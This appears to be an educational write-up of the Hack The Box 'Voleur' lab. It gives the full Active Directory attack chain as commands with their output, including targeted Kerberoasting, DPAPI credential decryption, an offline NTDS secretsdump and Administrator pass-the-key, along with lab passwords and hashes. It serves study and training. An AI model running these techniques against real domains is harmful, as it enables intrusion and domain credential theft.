Skip to content

HTB Voleur writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Voleur was a Medium box built around a sequence of Windows Active Directory privilege transitions. With the ryan.naylor credentials supplied by HTB, I obtained a Kerberos TGT and recovered a password-protected Excel file from the SMB IT share. After obtaining svc_ldap credentials from the spreadsheet, I used svc_ldap’s ability to write an SPN on svc_winrm for targeted Kerberoasting, entered WinRM as svc_winrm, and obtained the user flag. I then restored the deleted todd.wolfe account and decrypted a DPAPI credential artifact from Todd’s archived profile to move to jeremy.combs. From a Third-Line Support area accessible to Jeremy, I obtained svc_backup’s SSH key. Through WSL/Ubuntu, I read Windows backups and processed ntds.dit and registry hives with secretsdump, ultimately gaining Administrator WinRM access with the Administrator Kerberos key/hash.

ItemValue
BoxVoleur
PlatformHack The Box
OSWindows / Active Directory
DifficultyMedium
HTB provided creds
ryan.naylor:HollowOct31Nyt
|
v
Kerberos TGT for ryan.naylor
|
v
SMB IT share READ
|
v
Access_Review.xlsx -> cracked with office2john/john
|
+--> svc_ldap:M1XyC9pW7qT5Vn
|
v
svc_ldap has effective WriteSPN over svc_winrm
|
v
Add fake SPN to svc_winrm -> request TGS -> crack TGS-REP
|
v
svc_winrm:AFireInsidedeOzarctica980219afi
|
v
WinRM as svc_winrm -> user.txt
|
v
Use svc_ldap to restore deleted todd.wolfe
|
v
todd.wolfe:NightT1meP1dg3on14 -> SMB access to archived profile
|
v
DPAPI Credentials + Protect masterkey -> Jeremy credential
|
v
WinRM as jeremy.combs
|
v
C:\IT\Third-Line Support -> id_rsa for svc_backup + Backups
|
v
SSH/WSL as svc_backup -> sudo + /mnt/c backups
|
v
ntds.dit + SYSTEM + SECURITY -> secretsdump
|
v
Administrator NT hash / AES key
|
v
Kerberos TGT as Administrator -> WinRM -> root.txt
ItemValue
Domainvoleur.htb
HostnameDC, dc.voleur.htb
NoteLater logs also contain 10.129.26.223, apparently after a box reset. Use the HTB IP assigned at the time of execution.

Add the FQDN and DC name to /etc/hosts so Kerberos SPNs and name resolution agree.

10.129.232.130 voleur.htb dc.voleur.htb dc

I ran an aggressive nmap scan against all TCP ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.232.130 > voleur.nmap

The important output is as follows.

53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
Running (JUST GUESSING): Microsoft Windows 2022
Service Info: Host: DC; OSs: Windows, Linux
smb2-security-mode:
Message signing enabled and required
clock-skew: 8h00m01s

The points to note are:

  • Ports 88, 389, 445, 3268, and 5985 are present, so treat the target as a Domain Controller.
  • The later NetExec output also shows NTLM:False, so sending a username and password directly through NTLM is likely to fail. Plan for Kerberos.
  • clock-skew: 8h00m01s can be fatal to Kerberos. Kerberos normally enforces a tight time window, so synchronize the attacking machine before requesting TGTs or TGSs.
  • OpenSSH on 2222/tcp is a Linux service. Because a later check reports GNU/Linux ... Microsoft, it appears to be WSL/Ubuntu on Windows.
  • 5985/tcp is WinRM. Its Kerberos SPN is normally HTTP/<host>, so a TGT alone may not suffice; a TGS for HTTP/dc.voleur.htb may be needed.

HTB supplied the following initial credentials.

ryan.naylor / HollowOct31Nyt

I checked SSH first, but port 2222 required a public key rather than a password login.

Terminal window
ssh -p 2222 ryan.naylor@voleur.htb
ryan.naylor@voleur.htb: Permission denied (publickey).

Direct SMB and LDAP attempts with a username and password failed because NTLM was unavailable.

Terminal window
nxc ldap 10.129.232.130 -u users.txt -p passwords.txt
LDAP 10.129.232.130 389 DC [*] ... (domain:voleur.htb) ... (NTLM:False)
LDAP 10.129.232.130 389 DC [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

The important point is not to assume the credentials are wrong. NTLM:False and STATUS_NOT_SUPPORTED indicate that the authentication method is more likely the problem.

Before using Kerberos, I corrected the eight-hour clock difference seen by nmap.

Terminal window
sudo systemctl stop systemd-timesyncd
sudo ntpdate voleur.htb
time stepped by 28802.313854

Next, I obtained a TGT with Impacket.

Terminal window
getTGT.py voleur.htb/ryan.naylor:'HollowOct31Nyt' -dc-ip 10.129.232.130
export KRB5CCNAME=ryan.naylor.ccache
klist
[*] Saving ticket in ryan.naylor.ccache
Default principal: ryan.naylor@VOLEUR.HTB
Valid starting Expires Service principal
07/11/2026 10:29:03 07/11/2026 20:29:03 krbtgt/VOLEUR.HTB@VOLEUR.HTB

In Kerberos, the user first sends an AS-REQ to the KDC using a long-term key derived from the password, then receives a TGT for krbtgt. A TGT proves that the user authenticated to the KDC; it is not a ticket presented directly to a particular service such as SMB, LDAP, or HTTP.

To access a particular service, the client uses the TGT in a TGS-REQ to obtain a TGS for an SPN such as cifs/dc.voleur.htb, ldap/dc.voleur.htb, or http/dc.voleur.htb. The SPN names the service account whose key the KDC uses to encrypt the service ticket.

Because NTLM was unavailable on this box, the relationship among Kerberos TGTs, TGSs, and SPNs mattered from the outset.

When I ran kvno ldap/dc.voleur.htb, the initial setup inferred the wrong realm for the service principal and failed to resolve the KDC.

Terminal window
KRB5_TRACE=/dev/stderr kvno ldap/dc.voleur.htb
Getting credentials ryan.naylor@VOLEUR.HTB -> ldap/dc.voleur.htb@ATHENA.MIT.EDU
kvno: Cannot find KDC for realm "VOLEUR.HTB" while getting credentials for ldap/dc.voleur.htb@ATHENA.MIT.EDU

The attacking machine’s MIT Kerberos could not determine that dc.voleur.htb belonged to the VOLEUR.HTB realm. /etc/hosts alone does not ensure a realm mapping, so I prepared a dedicated krb5 configuration.

Terminal window
cat > /tmp/krb5-voleur.conf <<'EOF'
[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
udp_preference_limit = 1
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
admin_server = dc.voleur.htb
}
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB
dc.voleur.htb = VOLEUR.HTB
EOF
export KRB5_CONFIG=/tmp/krb5-voleur.conf
KRB5_TRACE=/dev/stderr kvno ldap/dc.voleur.htb
klist
Requesting tickets for ldap/dc.voleur.htb@VOLEUR.HTB
TGS request result: 0/Success
ldap/dc.voleur.htb@VOLEUR.HTB: kvno = 5
Service principal
krbtgt/VOLEUR.HTB@VOLEUR.HTB
ldap/dc.voleur.htb@VOLEUR.HTB

At this point, I confirmed that the TGT could obtain a TGS for LDAP.

I used the Kerberos cache to enumerate SMB shares.

Terminal window
nxc smb dc.voleur.htb --use-kcache --shares --rid-brute
SMB dc.voleur.htb 445 dc [+] VOLEUR.HTB\ryan.naylor from ccache
SMB dc.voleur.htb 445 dc Share Permissions Remark
SMB dc.voleur.htb 445 dc ADMIN$ Remote Admin
SMB dc.voleur.htb 445 dc C$ Default share
SMB dc.voleur.htb 445 dc Finance
SMB dc.voleur.htb 445 dc HR
SMB dc.voleur.htb 445 dc IPC$ READ Remote IPC
SMB dc.voleur.htb 445 dc IT READ
SMB dc.voleur.htb 445 dc NETLOGON READ Logon server share
SMB dc.voleur.htb 445 dc SYSVOL READ Logon server share
1103: VOLEUR\ryan.naylor
1104: VOLEUR\marie.bryant
1105: VOLEUR\lacey.miller
1106: VOLEUR\svc_ldap
1107: VOLEUR\svc_backup
1108: VOLEUR\svc_iis
1109: VOLEUR\jeremy.combs
1601: VOLEUR\svc_winrm
1602: VOLEUR\Restore_Users

IT was readable, and candidate users and service accounts were visible. I also checked users and groups over LDAP.

Terminal window
nxc ldap dc.voleur.htb --use-kcache --users --group
LDAP dc.voleur.htb 389 DC [+] VOLEUR.HTB\ryan.naylor from ccache
LDAP dc.voleur.htb 389 DC [*] Enumerated 11 domain users: VOLEUR.HTB
ryan.naylor First-Line Support Technician
marie.bryant First-Line Support Technician
lacey.miller Second-Line Support Technician
svc_ldap
svc_backup
svc_iis
jeremy.combs Third-Line Support Technician
svc_winrm
First-Line Technicians 2
Second-Line Technicians 1
Third-Line Technicians 1
Restore_Users 1
Remote Management Users 2

The organizational structure mattered here. Names such as First-Line, Second-Line, Third-Line, and Restore_Users suggested links to both shared folders and AD permission transitions.

Connecting to the IT share with Kerberos revealed Access_Review.xlsx under First-Line Support.

Terminal window
impacket-smbclient -k -no-pass \
-dc-ip 10.129.232.130 \
-target-ip 10.129.232.130 \
voleur.htb/ryan.naylor@dc.voleur.htb
smb> use IT
smb> ls
drw-rw-rw- 0 Wed Jan 29 18:10:01 2025 .
drw-rw-rw- 0 Fri Jul 25 05:09:59 2025 ..
drw-rw-rw- 0 Wed Jan 29 18:40:17 2025 First-Line Support
smb> cd First-Line Support
smb> ls
-rw-rw-rw- 16896 Fri May 30 07:23:36 2025 Access_Review.xlsx
smb> get Access_Review.xlsx

The spreadsheet was password-protected, so I extracted its Office hash and ran a dictionary attack.

Terminal window
office2john Access_Review.xlsx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt office.hash
Loaded 1 password hash (Office, 2007/2010/2013)
football1 (Access_Review.xlsx)
Session completed.

The important spreadsheet contents are as follows.

UserJob TitlePermissionsNotes
Ryan.NaylorFirst-Line Support TechnicianSMBHas Kerberos Pre-Auth disabled temporarily to test legacy systems.
Lacey.MillerSecond-Line Support TechnicianRemote Management Users
Todd.WolfeSecond-Line Support TechnicianRemote Management UsersLeaver. Password was reset to NightT1meP1dg3on14 and account deleted.
Jeremy.CombsThird-Line Support TechnicianRemote Management UsersHas access to Software folder.
svc_backupWindows BackupSpeak to Jeremy!
svc_ldapLDAP ServicesP/W - M1XyC9pW7qT5Vn
svc_iisIIS AdministrationP/W - N5pXyW1VqM7CZ8
svc_winrmRemote ManagementNeed to ask Lacey as she reset this recently.

The spreadsheet was more than a credential list; it hinted at the next transitions. svc_ldap led to LDAP/ACL investigation, Todd.Wolfe to a deleted object and archived profile, and Jeremy.Combs and svc_backup to Third-Line Support and backups.

I obtained a TGT with svc_ldap’s password and confirmed LDAP authentication.

Terminal window
getTGT.py voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130
export KRB5CCNAME=svc_ldap.ccache
nxc ldap dc.voleur.htb --use-kcache
[*] Saving ticket in svc_ldap.ccache
LDAP dc.voleur.htb 389 DC [+] VOLEUR.HTB\svc_ldap from ccache

I collected BloodHound data with RustHound CE.

Terminal window
rusthound-ce \
-d voleur.htb \
-f dc.voleur.htb \
-i 10.129.232.130 \
-n 10.129.232.130 \
-k \
-c All \
--zip

The relationship used here was svc_ldap’s ability to write an SPN on svc_winrm. The successful update to servicePrincipalName confirms effective write permission on at least that attribute.

Terminal window
bloodyAD -d voleur.htb -k --host dc.voleur.htb \
-u svc_ldap -p 'M1XyC9pW7qT5Vn' \
set object svc_winrm servicePrincipalName -v 'mssqlsvc/anything'
[+] svc_winrm's servicePrincipalName has been updated

Why this enables Kerberoasting:

  • Kerberoasting requests a TGS for an account with an SPN and cracks the encrypted part of its TGS-REP offline.
  • Part of the TGS is encrypted with the service account’s long-term key, which derives from that account’s password.
  • The usual target is a service account that already has an SPN.
  • Here, even if svc_winrm had no SPN, svc_ldap could change svc_winrm’s servicePrincipalName and temporarily add an arbitrary fake SPN.
  • The KDC does not verify that the SPN string names a running service. Once AD associates the SPN with svc_winrm, a TGS for mssqlsvc/anything is created with svc_winrm’s key.

I obtained the TGS-REP hash.

Terminal window
netexec ldap dc.voleur.htb \
-u svc_ldap -p 'M1XyC9pW7qT5Vn' -k \
--kerberoasting svc_winrm.hash
LDAP dc.voleur.htb 389 DC [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
LDAP dc.voleur.htb 389 DC [*] Total of records returned 1
LDAP dc.voleur.htb 389 DC [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb
LDAP dc.voleur.htb 389 DC $krb5tgs$23$*svc_winrm$VOLEUR.HTB$...

hashcat automatically identified hash mode 13100, Kerberos 5 TGS-REP etype 23.

Terminal window
hashcat svc_winrm.hash /usr/share/wordlists/rockyou.txt
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Cracked
svc_winrm:AFireInsidedeOzarctica980219afi

I recovered svc_winrm’s password.

svc_winrm / AFireInsidedeOzarctica980219afi

svc_winrm belonged to Remote Management Users, making WinRM the main path.

Terminal window
kinit svc_winrm
evil-winrm -i dc.voleur.htb -r voleur.htb
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/10/2026 6:03 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
[REDACTED]

In Metasploit, WinRM Kerberos failed with only a TGT.

LOGIN FAILED: voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi
(Incorrect: Kerberos Error - KRB_AP_ERR_MODIFIED (41) - Message stream modified)

This is a typical error when the SPN of the service ticket presented to WinRM does not match. WinRM/WSMan uses the HTTP service class, and explicitly obtaining a TGS for http/dc.voleur.htb succeeded.

Getting TGS for svc_winrm@voleur.htb (SPN: http/dc.voleur.htb)
Received a valid TGS-Response
Login Successful: voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi

This confirms the distinction between a TGT and a TGS. A TGT proves authentication to the KDC; it is not presented directly to the WinRM server. WinRM needs a TGS for the HTTP/dc.voleur.htb SPN.

The spreadsheet said that Todd.Wolfe was a former employee whose password had been reset to NightT1meP1dg3on14 before the account was deleted. From the svc_winrm session, I used the Active Directory module and svc_ldap’s credentials to inspect deleted objects.

Terminal window
$pass = ConvertTo-SecureString 'M1XyC9pW7qT5Vn' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('VOLEUR\svc_ldap', $pass)
Import-Module ActiveDirectory
Get-ADObject -Server dc.voleur.htb -Credential $cred `
-Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' `
-IncludeDeletedObjects `
-Property objectSid,lastKnownParent
Deleted : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
LastKnownParent : OU=Second-Line Support Technicians,DC=voleur,DC=htb
Name : Todd Wolfe
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid : S-1-5-21-3927696377-1337352550-2781715495-1110

This provided the deleted user’s GUID and SID. The SID was also used later for DPAPI decryption.

I restored the object to its original OU with Restore-ADObject.

Terminal window
Restore-ADObject `
-Identity '1c6b1deb-c372-4cbb-87b1-15031de169db' `
-Server dc.voleur.htb `
-Credential $cred `
-TargetPath 'OU=Second-Line Support Technicians,DC=voleur,DC=htb' `
-PassThru
Get-ADUser todd.wolfe -Properties Enabled,DistinguishedName,MemberOf |
Format-List Enabled,DistinguishedName,MemberOf
DistinguishedName : CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb
ObjectClass : user
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
Enabled : True
DistinguishedName : CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb
MemberOf : {CN=Second-Line Technicians,DC=voleur,DC=htb,
CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb}

When AD Recycle Bin is enabled, deleted objects remain under CN=Deleted Objects for a period. A principal with restoration rights can bring one back with Restore-ADObject. Here, restoration succeeded with svc_ldap’s credentials, and Todd.Wolfe’s SID and group information were available for the subsequent steps.

Todd’s WinRM login did not succeed reliably, however, so I used Todd’s credentials to explore the SMB share.

Connecting to the IT share with todd.wolfe’s credentials revealed an archived profile under Second-Line Support.

Terminal window
smbclient -U 'voleur.htb/todd.wolfe%NightT1meP1dg3on14' \
--realm=voleur.htb \
//dc.voleur.htb/IT

An initial attempt to retrieve it with an absolute path such as C:\IT\... failed.

NT_STATUS_OBJECT_NAME_INVALID opening remote file \C:\IT\Second-Line Support\Archived Users\...

The root of the SMB share //dc.voleur.htb/IT is already C:\IT, so paths must be relative to the share root.

smb: \> ls
. D 0 Wed Jan 29 18:10:01 2025
.. DHS 0 Fri Jul 25 05:09:59 2025
Second-Line Support D 0 Thu Jan 30 00:13:03 2025
smb: \> get "Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3"
getting file ... of size 398
smb: \> get "Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88"
getting file ... of size 740

The two kinds of files obtained here provide what is needed for DPAPI.

Credentials\772275FAD58525253490A9B0039791D3
Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88

A useful way to approach DPAPI is in this order.

Read the entry point
Examples: "Archived Users", "Profiles", "Backup", and "Home"
|
v
Recognize a Windows user profile
|
v
Check known credential artifact paths
- AppData\Roaming\Microsoft\Credentials
- AppData\Roaming\Microsoft\Protect\<SID>
- AppData\Local\Microsoft\Vault
|
v
Retrieve both the Credentials blob and the masterkey
|
v
Check whether the user's password and SID can decrypt the masterkey
|
v
Decrypt the Credentials blob with the decrypted masterkey
|
v
Read the stored username/password or target

DPAPI stores secrets from Credential Manager and similar sources as blobs under Credentials, but these are not plaintext. The masterkey that decrypts a blob is stored under Protect\<SID>. The masterkey is protected by a key derived from the user’s logon secret, including the password and SID.

On this box, Todd’s password appeared in the spreadsheet, and the SID had been confirmed from the deleted AD object.

todd.wolfe password: NightT1meP1dg3on14
todd.wolfe SID: S-1-5-21-3927696377-1337352550-2781715495-1110

I therefore had the material needed to decrypt the masterkey with Todd’s password and SID, and then decrypt the credential blob, without obtaining a domain backup key.

The decryption command and its output were not retained in my execution log. When collecting evidence again, saving output from the following two steps would improve the report’s reproducibility.

Terminal window
impacket-dpapi masterkey \
-file "08949382-134f-4c63-b93c-ce52efc0aa88" \
-sid "S-1-5-21-3927696377-1337352550-2781715495-1110" \
-password 'NightT1meP1dg3on14'
impacket-dpapi credential \
-file "772275FAD58525253490A9B0039791D3" \
-key '<decrypted-masterkey>'

A later log shows a WinRM session as jeremy.combs, so I infer that Jeremy’s credentials came from this DPAPI credential. Jeremy’s exact password was not retained in the execution log.

I used the credentials obtained through DPAPI to enter WinRM as jeremy.combs.

Terminal window
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami
voleur\jeremy.combs
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami /upn
jeremy.combs@voleur.htb
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> ([adsisearcher]"(userPrincipalName=jeremy.combs@voleur.htb)").FindOne().Properties.distinguishedname
CN=Jeremy Combs,OU=Third-Line Support Technicians,DC=voleur,DC=htb

The Jeremy.Combs row in the spreadsheet said Has access to Software folder, but access under Third-Line Support was what mattered here.

Terminal window
Get-ChildItem C:\IT -Force -Recurse -ErrorAction SilentlyContinue
Directory: C:\IT
Mode LastWriteTime Name
---- ------------- ----
d----- 1/29/2025 1:40 AM First-Line Support
d----- 1/29/2025 7:13 AM Second-Line Support
d----- 1/30/2025 8:11 AM Third-Line Support
Directory: C:\IT\Third-Line Support
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/30/2025 8:11 AM Backups
-a---- 1/30/2025 8:10 AM 2602 id_rsa
-a---- 1/30/2025 8:07 AM 186 Note.txt.txt

The OpenSSH key comment on id_rsa was svc_backup@DC.

Terminal window
ssh-keygen -y -f id_rsa
ssh-rsa AAAA...zQ4us= svc_backup@DC

id_rsa could be used as svc_backup’s SSH key.

I connected to the 2222/tcp port found by nmap with the obtained SSH key.

Terminal window
ssh -i ./id_rsa -p 2222 svc_backup@dc.voleur.htb
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)
Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
svc_backup@DC:~$

The 4.4.0-20348-Microsoft version string indicates WSL/Ubuntu on Windows. I also checked sudo -l.

Terminal window
sudo -l
hostname
id
ls /mnt
User svc_backup may run the following commands on DC:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
hostname
DC
uid=1000(svc_backup) gid=1000(svc_backup) groups=1000(svc_backup),...,27(sudo),...
/mnt
c

Within WSL, svc_backup had passwordless sudo, and the Windows C: drive was mounted at /mnt/c. This made Windows backup files readable from the Linux side.

Terminal window
cd "/mnt/c/IT/Third-Line Support/Backups"
ls
ls 'Active Directory'
ls registry
Active Directory registry
Active Directory:
ntds.dit ntds.jfm
registry:
SECURITY SYSTEM

At this point, I had ntds.dit, SYSTEM, and SECURITY.

I used the obtained backup files to decrypt domain credentials offline.

Terminal window
secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit

The important output is as follows.

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
VOLEUR\DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7
[*] DPAPI_SYSTEM
dpapi_machinekey:0x5d117895b83add68c59c7c48bb6db5923519f436
dpapi_userkey:0xdce451c1fdc323ee07272945e3e0013d5a07d1c3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc

Why secretsdump worked:

  • ntds.dit is the Active Directory database; it stores encrypted NT hashes and Kerberos keys for domain users.
  • The SYSTEM hive contains material used to recover the bootKey. secretsdump uses it to decrypt the PEK, or Password Encryption Key, inside NTDS.
  • The decrypted PEK can then decrypt user hashes and Kerberos keys in ntds.dit.
  • The SECURITY hive is used to decrypt LSA secrets, cached logons, DPAPI_SYSTEM, NL$KM, and similar material. ntds.dit and SYSTEM are central to obtaining the Administrator hash here, while SECURITY makes additional secrets available.
  • This was a backup copy, not a locked live database. Because svc_backup could read the backup directory under /mnt/c from WSL, no VSS or DRSUAPI rights were needed.

With the Administrator NT hash and AES key, I could obtain a Kerberos TGT.

I used either the NT hash or AES key as the long-term key to obtain an Administrator TGT. With NTLM disabled, Kerberos was the more reliable choice for final access as well.

Terminal window
getTGT.py voleur.htb/Administrator \
-hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 \
-dc-ip 10.129.232.130
getTGT.py voleur.htb/Administrator \
-aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb \
-dc-ip 10.129.232.130
export KRB5CCNAME=Administrator.ccache
klist
[*] Saving ticket in Administrator.ccache
Default principal: Administrator@VOLEUR.HTB
Valid starting Expires Service principal
07/12/2026 10:46:20 07/12/2026 20:46:20 krbtgt/VOLEUR.HTB@VOLEUR.HTB

I used the Administrator TGT to enter WinRM.

Terminal window
evil-winrm -i dc.voleur.htb -r voleur.htb
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/11/2026 2:38 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
  • ssh -p 2222 did not accept the initial username and password. Port 2222 was for the svc_backup SSH key used later.
  • NetExec returned STATUS_NOT_SUPPORTED for username/password authentication. That indicated unavailable NTLM, not invalid credentials, so switching to Kerberos was appropriate.
  • Without a sufficient Kerberos realm mapping on the attacking machine, the service principal was incorrectly inferred as something like ldap/dc.voleur.htb@ATHENA.MIT.EDU. KRB5_CONFIG had to map it to VOLEUR.HTB.
  • evil-winrm-py -k could not be used because the tool did not accept -k.
  • Metasploit’s WinRM Kerberos returned KRB_AP_ERR_MODIFIED with only a TGT. A TGS for http/dc.voleur.htb had to be obtained and supplied first.
  • Todd was restored to Remote Management Users, but obtaining a WinRM shell was unreliable. I instead used Todd’s credentials to read the archived profile over SMB.
  • The root of the //dc.voleur.htb/IT share was already C:\IT, so an absolute path like C:\IT\... returned NT_STATUS_OBJECT_NAME_INVALID. Retrieve files with paths relative to the share root.
  • Remove the fake SPN mssqlsvc/anything added to svc_winrm.
Terminal window
bloodyAD -d voleur.htb -k --host dc.voleur.htb \
-u svc_ldap -p 'M1XyC9pW7qT5Vn' \
remove object svc_winrm servicePrincipalName -v 'mssqlsvc/anything'
  • Because todd.wolfe was restored, revert that state if the box should be left untouched. An HTB reset will restore it; in a real environment, check whether the restored user should be disabled or deleted and verify the OU.
  • Delete temporary files such as RunasCs.exe, todd.exe, and reverse shell payloads from C:\Users\svc_winrm\Documents if they were placed there.
  • Treat the Metasploit session, local ccaches, hash files, and downloaded ntds.dit/registry hives/DPAPI blobs/SSH keys as secrets, and delete them when no longer needed.
TypeValue
Initial credentialryan.naylor / HollowOct31Nyt
Excel fileAccess_Review.xlsx
Excel passwordfootball1
svc_ldapsvc_ldap / M1XyC9pW7qT5Vn
svc_iissvc_iis / N5pXyW1VqM7CZ8
Restored usertodd.wolfe / NightT1meP1dg3on14
svc_winrmsvc_winrm / AFireInsidedeOzarctica980219afi
DPAPI credential blobCredentials\772275FAD58525253490A9B0039791D3
DPAPI masterkey fileProtect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88
DPAPI resultCredentials for jeremy.combs. The exact password was not retained in the execution log.
SSH keyid_rsa, public key comment svc_backup@DC
svc_backupSSH key login on port 2222; WSL user has NOPASSWD: ALL
Backup filesActive Directory\ntds.dit, registry\SYSTEM, registry\SECURITY
Administrator NT hashe656e07c56d831611b577b160b259ad2
Administrator AES256 keyf577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
user flag[REDACTED]
root flag[REDACTED]

Evidence to collect again for a more precise report:

  • Output from the DPAPI masterkey decryption command.
  • Output from decrypting the DPAPI credential blob, saved with at least TargetName, UserName, and CredentialBlob visible.
  • The contents of Note.txt.txt. It may contain hints about Third-Line Support backups or svc_backup.
  • The permission name for svc_ldap -> svc_winrm shown by BloodHound/RustHound. WriteSPN succeeded in practice, but recording the graph edge name would make the explanation more precise.
  • The relationship among Kerberos TGTs, TGSs, and SPNs. A TGT shows authentication to the KDC; connecting to a service requires a TGS for that service’s SPN.
  • Enumeration in AD with NTLM disabled. Obtain a TGT and use a ccache instead of directly submitting a username and password.
  • Kerberos clock synchronization and realm mapping. Clock skew and an incorrect KRB5_CONFIG can cause authentication to fail even with valid credentials.
  • Targeted Kerberoasting. Write access to an SPN lets you temporarily add an SPN to an account that normally lacks one, making its TGS-REP available for cracking.
  • AD Recycle Bin and Restore-ADObject. Inspect a deleted object’s GUID, SID, and lastKnownParent, then restore it if authorized.
  • DPAPI components. A Credentials blob alone is insufficient; you also need the masterkey under Protect\<SID> and material such as the user’s password and SID to decrypt it.
  • Finding artifacts in Windows profiles. Start from entry points such as Archived Users, Profiles, Backup, and Home, then inspect AppData\Roaming\Microsoft\Credentials and Protect\<SID>.
  • The boundary between WSL and the Windows filesystem. If a WSL user can access Windows backups through /mnt/c, important files may be readable by a route distinct from Windows permissions.
  • Offline NTDS dumping. With ntds.dit and SYSTEM, the PEK can be decrypted to recover domain user NT hashes and Kerberos keys. SECURITY is relevant to additional secrets such as LSA secrets and DPAPI_SYSTEM.

Voleur tested the ability to connect Windows/AD mechanisms in sequence, rather than simply memorize permission names. Each step followed a Windows implementation detail: treating STATUS_NOT_SUPPORTED as a reason to use Kerberos instead of assuming invalid credentials; turning SPN write access into Kerberoasting; linking a deleted user and archived profile to DPAPI; and using a backup service’s SSH key to read Windows backups through WSL. For CPTS/OSCP study, it is a useful exercise in explaining what each output proves about a permission, cryptographic material, or Windows artifact.